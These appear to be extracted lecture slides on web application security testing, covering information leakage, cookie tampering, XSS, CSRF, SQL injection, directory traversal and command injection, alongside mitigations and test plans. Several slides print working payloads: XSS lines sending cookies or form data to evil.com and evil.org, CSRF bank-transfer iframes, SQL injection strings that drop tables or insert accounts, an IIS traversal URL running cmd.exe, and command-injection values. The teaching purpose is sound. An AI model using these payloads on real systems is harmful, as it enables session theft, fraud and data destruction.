Web Site Testing
Information Leakage

Information Leakage gives attackers an
advantage:
 HTML
source code:
Comments
 Sensitive information

 Server-side
error messages, HTTP responses
 Application error messages
Information Leakage


Download target website
Search using a tool such as grep:





HTML comments
Application comments (ColdFusion, ‘//’, VB comments)
IP-addresses
E-mail addresses
SQL queries




Show database structure
Show structure of queries
Database connection strings
Hidden input fields (see below)
Information Leakage

Helpful error messages
 Classic

example:
Logon page returns different error messages
depending on whether username was not in the
database or password did not match
 Error
messages should help user, but not give
away too much information
Information Leakage

Simple naming conventions
 Map
site
 Guess naming conventions

Example
 Reuters
published third-quarter earnings of Intentia
days before official release


Intentia had put earning report on their server, but not yet
provided a link
Reporter guessed file’s location and name based on previous
reports
Information Leakage

Administrative pages need to be password
protected, not just hidden
Information Leakage

Attack sample scripts, components
contained in default installations
 Default
installations with samples are
becoming rare because of bad experiences.
Information Leakage

Banner Grabbing
 Web
servers identify by default system software and
version.
 Allows attackers to concentrate on vulnerable
systems.
 Fingerprinting tools diagnose webserver and version

Defense
 Camouflage
 Can change all server-identification to appear as another
webserver
 Harder done than said
Information Leaking Test Plan

Black Box Testing
1.
2.
Grab website to create site map
Use regular expressions to search for revealing
information embedded in source code / pages:
a.
b.
c.
d.
e.
f.
g.
HTML comments
application comments
IP-addresses
email addresses
sql queries
keywords used for database connection
hidden input fields (which reveal other dangers)
Information Leaking Test Plan

Black Box Testing
3.
HTTP banner grabbing

4.
Cause error messages to be displayed


5.
6.
reveals webserver data
Do error messages reveal too much?
Typically also reveal webserver, database server data.
Scan cookies set by website for revealing field names.
Use site map to guess name of pages


Especially search for remote control and administration pages
Insure that pages cannot be accessed out of order

visit shipping page without going to payment site
Information Leaking Test Plan

Black Box Testing
7.
8.
Search for script pages that can be downloaded as
source files
Run a brute-forcing tool (iDefense ID Auditor) to
search for pages
You are now entering the realm where you need explicit
permission of the site owner.
9.
10.
Use a port scanning tool to find administrative /
control pages at other ports.
Check for sample scripts left from default
installations.
Information Leaking Test Plan

White Box Testing
 Easier
than White Box testing since source code and
side map is available
 Insure consistent Webserver / Database camouflage
policy
 Insure explicit design to enforce page control flow.
 Insure design to protect administration and control
interface.
Attacking at the Client
Client browser has complete control over data send
out.


Trivial changes when get method is used:


Simple, but involved attack 1:




User saves webpage
Manually resolves relative links
Alters input to be send
Simple but involved attack 2:


Information is visible in URL and easily altered.
Use netcat to explicitly craft http requests
Simpler attack:

Use webbrowser proxy

Paros
Attacking the Client

Webservers need to validate client input
 At


 At


client:
Moves load to client browsers
Can be easily subverted
server:
Creates bottle-neck
Cannot be subverted
 Moral:
 Why not do both?


(Warning: Personal Opinion)
Vast majority of invalid data input is not an attack
But no user input can be trusted
Attacking the Client

Example Attack Points:
 Check
boxes, radio buttons, drop-down
menus implicitly restrict user input
 Javascript validation
 Hidden fields in forms
 Input length restrictions in form textbox
Attacking the Client
Attacking State

State is maintained using:
 forms
and CGI parameters
 cookies
 fat URL
 page navigation captures state
Attacking the Client
Attacking State

Attacker can:
 edit

URL
e.g. guess and alter id in query string
 guess
and jump to other pages (URL jumping)
 cookies
edit cookie
 steal cookie

 edit
forms / change output
Attacking the Client
Attacking State: Cookie Poisoning
day part of time stamp
Attacking the Client
Attacking State

Cookie Poisoning:
 Edit

cookie to alter values.
Old Example:
Site stores cookie with expiration date.
 Cookie gives access to a web resource
 User changes expiration date.
 Time is in NTFS format


Guess, change account information

Use bit flipping
Bit Flipping Excurse

Some good, some hopelessly flawed
encryption technology XOR’s plain text
with a random value
 Example:
Key is emil
 Plaintext is 007 :
 Cipher text is U]^L:

65,6D,69,6C
30,30,37,20
55,5D,5E,4C
Bit Flipping Excurse

007 (drunk as usual) wants to change his
cookie value to ‘003’
 Calculates

XOR between ‘007 ’ and ‘003 ’
Translate into ASCII 30,30,37,20 – 30,30,33,20
 Result
is 00,00,04,00
 XOR result to the encrypted value:
^
=
55,5D,5E,4C
00,00,04,00
55,5D,5A,4C
Bit Flipping Excurse

007 (drunk as usual) wants to change his cookie
value to ‘007’
 Changes
cookie to new value
 Goes to website
 Cookie decoded to wrong value at the webserver
 007 has assumed identity of 003.
 Uses M5 email system to arraign rendez-vous

That’s why 003 got killed by jealous husband.
Bit Flipping: Morale

When fields are guessable:
 Use
a different strong encryption method.
 Add unforgeable validation to cookie and
validate at server

Example:

cookie-field = encrypted text + SHA256(plaintext.secret key)
Attacking the Client
Cookie Stealing
Transfer cookie from another computer
 Use a cookie-stealing attack


http://www.it-observer.com/news/7047/firefox_cookie_stealing_vulnerability/
 XSS
attacks
Attacking the Client
Attacking State: Fat URL

User can change URLs
 Protection:
Sensitive portion of URL needs to
be encrypted

Fat URL Testplan:
 Ensure
that query string is encrypted.
 Ensure that debugging is not turned on
through URL values:

“…?debug=1” etc.
Attacking User-Supplied Input Data

Any user input needs to be validated.
 Attacks:
XSS (see special presentation)
 SQL Injection
 Directory Transversal

Attacking User-Supplied Input Data

Any user input needs to be validated.
 Attacks:
XSS SQL Injection
 Directory Transversal

User Input Validation


User input needs
to be validated
Test trust
relationship in
choke points
within the
boundary.

This might violate
the principle of
defense in depth.
XSS: Basics

Web browsers interpret scripts embedded
in webpages
 Instance

of Data Code confusion
XSS enabled if users can provide input
that becomes output:
 Messages
to message board.
 Messages sent inadvertently by client for
itself.
Hello message board. This is a message.
<SCRIPT>malicious code</SCRIPT>
<A HREF="http://example.com/comment.cgi?
mycomment=<SCRIPT>
This is the end of my message.
malicious code</SCRIPT>"> Click here</A> M
XSS: Vulnerable HTML Elements


<script>
<object>
 Places
an object such as an applet or media file in a
document.

<applet>
 Deprecated


<embed>
<form>
in HTML 4.0 in favor of <object>
XSS Simplest Example
Bulletin board allows users to enter
message without checking.
 User enters:



Haha. <script>malicious code here</script>
Haha. <embed src=http://realevil.com/bad.mov></embed>
XSS: Example

Submit query to vulnerable site:
 http://www.mapquest.com/directions/main.adp
?1a=">><script>alert('test');</script>
XSS: Example

Attacker sends URL of vulnerable site that
forces an error:
 http://vulnerable.com/<script>malware</script
>

Vulnerable site handles the error by
quoting <script>malware</script> in its
response
April 2008 Example
XSS: ASP Example

IIS ASP application for dynamically
refining searches
<A HREF="http://trusted.org/search_main.asp?
searchstring=SomeString">click-me</A>
XSS: ASP Example

ASP code
<%
var BaserUrl = "http://trusted.org/search2.asp?
searchagain=";Response.Write("<a href=\"" +
BaseUrl
+ Request.QueryString("SearchString") +
"\">click-me</a>" )
Vulnerability: SearchString is
%>
taken directly from query string
XSS: ASP Example

Attacker provides attack string:
%22+onmouoseover%3D%27ClientForm%
2Eaction%3D%22evil%2Eorg%2Fget%2Easp%3FDat
a%
3D%22+%2B+ClientForm%2EPersonalData%3BClient
Form%
2Esubmit%3B%27
XSS: ASP Example

Dynamically generated ASP page would
look like:
<A HREF="http://trusted.org/search2.asp?
searchagain="" onmouoseover='ClientForm.
action="evil.org/get.asp?Data=" +
ClientForm.PersonalData;ClientForm.
submit;'">click-me</A>
XSS Types

DOM-based / local XSS
 Vulnerable

site has a static html site
that uses parts of the URL as input to local
javascript
 Victim
is baited to go to vulnerable site using
a URL with attack information inside.
XSS: Local XSS Example
<HTML>
<TITLE>XSS Example</TITLE>
Hello
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.U
RL.length));
</SCRIPT>
<BR>
</HTML>
XSS: Local XSS Example

User sends URL:
 bobadilla.engr.scu.edu/xss0.html?name=thom
as
Receives basic welcome message.
 Attacker sends victim URL:

 bobadilla.engr.scu.edu/xss0.html?name=<scri
pt>alert(document.cookie)</script>
XSS: Local XSS Example

Attacker sends victim URL:
 bobadilla.engr.scu.edu/xss0.html?name=<scri
pt>alert(document.cookie)</script>
 Victim’s browser starts parsing HTML into
DOM
 When parser reaches the script, it executes it.
XSS: DOM
The malicious payload was not inserted
into HTML
 Using “#” instead of “?” will not send the
query string to the browser, but the attack
still works.

 bobadilla.engr.scu.edu/xss0.html#name=<scri
pt>alert(document.cookie)</script>
 Attack cannot be detected at the vulnerable
site?
XSS: DOM
Javascript runs with webbrowser’s
privileges.
 Potential for remote code execution.

XSS: DOM

Vulnerability does only exist when
webbrowser does not internally translate
the “<“ and “>” characters.
 Currently,
IE7 is vulnerable
 Mozilla is not

XSS DOM

Mitigation
 Avoid
client side document rewriting,
redirection, …
 Analyze any Javascript code

Sanitize any user-controlled input
XSS-DOM Example
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
var
name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
Name can only contain
window.alert("Security error");
alpha-numeric characters
}
</SCRIPT>
XSS Types

Non-persistent or reflected vulnerability
 Most
common
 Typically promulgated by distributing URLs to
victims.
 Vulnerable site uses user supplied input to
dynamically build HTML page.
XSS Types

Stored / persistent XSS
 Vulnerable
site allows user to upload data.
 Attacker uploads script.
 Most pernicious:

Attacker only needs to generate one attack.
XSS Payload

Cookie Stealing
 Insert
a script that places a resource from a site
under attacker control
 Example:
<script>document.write(“
<img
src=http://evil.com/px.gif?cookie=“+document.cookie”)
</script>
XSS Payload

History stealing
 Attack
based on different coloring for already
visited sites
 Use XSS to move browser to attack site
 Site executes script that loops through wellknown banking URLs
 Check color
XSS Payload

Stealing search engine queries
 Create
predictable search terms and combine
with the history hack
XSS Payload

Intranet Hacking
 Victim
clicks on malicious web link
 JavaScript malware loads Java applet into
browser

Applet reveals internal IP address
 JavaScript
then identifies and fingerprints web
servers on intranet
XSS Payload

Change contents of a news page
 Example
(presupposing how images are
being referred to)
<script>
document.image[38].src=http://evil.com/evil.gif
</script>
XSS Payload

Website Defacement
 Maria
Sharapova’s home page hack
XSS Mitigation

Data Sanitation
 All
user supplied input needs to be sanitized.
 Removing dangerous characters such as ‘<‘
and ‘>’ is not enough

Attacker can use alternate codings
 Commenting
out potentially malicious code is
not enough

Attacker can close the comment.
XSS Mitigation
Attacker provides malicious code:
 Example:
After processing, input becomes:
<script>code</script>
Attacker instead provides:
<COMMENT>
Code becomes:
<!-<script>
<COMMENT>
code
(NOT PARSED BY FILTER)
- -->
<!-//-->
</COMMENT>
- -->
</COMMENT>
<img
src="http://none"
</COMMENT>
onerror="alert(document.cookie);window.open(
<img src="http://none"
http://evil.org/fakeloginscreen.jsp);
">
onerror="alert(document.cookie);window.open(http://
</script>
evil.org/ fakeloginscreen.jsp);">
</COMMENT>
CSRF: Cross-Site Request
Forgeries
Find XSS, get CSRF for free
 Example: Embed in html:


<iframe src=https://somebank.com </iframe>
 Browser

will execute iframe command
Browser will send any (authentication) cookies along.
<iframe src=https://somebank.com/transferfunds.asp?amnt=10000&acct=0010403900212033</iframe>
<link rel=“stylesheet” href = “https://somebank.com/transferfunds.asp? amnt=10000&
acct=0010403900212033” type=“text/css”>
<bgsound SRC= “https://somebank.com/transferfunds.asp? amnt=10000& acct=0010403900212033” >
...
Attacking User-Supplied Input Data
SQL Injection

SQL Injection
 Happens
when user input becomes input to a
database.
 Basic fault is lack of input validation
Attacking User-Supplied Input Data
SQL Injection

Simple SQL injection attack example:
string sql = “select * from client where name = ‘ “ + uname + “ ’ ”
User enters uname: “Schwarz”. SQL command executed is
string sql = “select * from client where name = ‘ Schwarz’ ”
User enters uname: “ ‘Schwarz’ or 1 = 1”. SQL command executed is
string sql = “select * from client where name = ‘Schwarz’ or 1=1”
This command reads every row in the table “client”.
Attacking User-Supplied Input Data
SQL Injection

SQL injection attacks are common.
 Some
database servers allow a client application to
perform more than one SQL statement.
 Suppose that user enters:

“Schwarz’ drop table client”
 This
builds an SQL query that queries table client and
then deletes the table.

Effects are greatly enhanced if the database
runs at system administrator privileges.
Attacking User-Supplied Input Data
SQL Injection

Typical Use:
 URL

 If
query string for item:
http://somesite.com/store/itemdetail.asp?id=666
query string is passed directly to SQL query:

SELECT name, picture, description price FROM
products WHERE id=666
Attacking User-Supplied Input Data
SQL Injection

Dangerous Use:
$SQLquery = “SELECT * FROM users WHERE
username=`”.$_POST[“username”].”’ AND
password=‘”.$_POST[“password”].”’”;
$DBresult=db_query($SQLQuery);
if($DBresult) {
// username-password is correct, log the user on
}
else {
//username-password is incorrect
}
Attacking User-Supplied Input Data
SQL Injection

Dangerous Use:
 The
following inputs will break the
authentication:

Thomas` - provided that a user Thomas exists.
 the -- makes the following an SQL comment

` ` OR 1 = 1 -  ` ` OR true
 et.cet.

Attacking User-Supplied Input Data
SQL Injection

Adding database commands:
SELECT accountdata FROM acountinfo
WHERE accountid = ` ‘;
INSERT INTO accountdata (accountid,password)
VALUES (`thomas`,’12345’) – ‘ AND password = ‘ ‘
Attacking User-Supplied Input Data
SQL Injection

Mitigation:
 Run
queries below the administrator level.
 Build sql statements securely, checking each
component carefully.
Attacking User-Supplied Input Data:
Directory Transversal

Attacker tries to access unauthorized
pages.
 Needs
to guess location of pages.
 Uses “../” to walk up directory trees.
Attacking User-Supplied Input Data

Canonicalization
 Generic
method to validate input
 Transforms input into a “canonical form”
before deciding whether input is admissable.
 Example:

‘/’ character
‘/’ in http
 %5c UTF-8 encoding
 %c0%af (Unicode encoding

Attacking User-Supplied Input Data

Double Escape Trick
 Example
 ‘\’  %5c (Hex encoding)

 %255c (Encode the %)

Example: IIS4/ IIS5 Web server vulnerability
 http://www.vulnerable.com/app/..%c0%af..%c0%af../w
innt/systems32/cmd.exe?/c+dir
 After patching, attackers used the same string but
double escaped the percentage signs.
 IIS4 / IIS5 did not resolve escapes in user input deep
enough.
Attacking Applications on Server
Buffer Overflows
 NULL Attack

 Place
NULL into strings
 Some application moduless will sometimes
not match strings with NULL, but others will
resolve strings removing the NULL
Attacking the Server

SQL Injection: Stored procedures
 Database
servers have command shells that
can be called from within a query:

EXEC master..xp_cmdshell ‘regread’
xp_regread
 xp_regwrite
 xp_regdeletekey
 xp_regdeletevalue
 xp_regremovemultistring
 ….

Attacking the Server

Command injection


User input is passed to various components.
Example:



Webpage will tell whether a given person is logged on.
Implemented by passing user name to UNIX “finger” utility.
Vulnerabilities:


no parameters will print out all current users.
Command injection:
 Piggy-back other commands by using a semicolon or
a newline (“\r\n”);
 Try: “tschwarz; ls –al”
 Try: “tschwarz\r\nls –al”
Attacking the Server

Fingerprinting server and using known
exploits:
 HTTP
headers reveal server information
 Can be used to find a known exploit
 Fingerprinting software forces errors and
determines server software based on header
placements.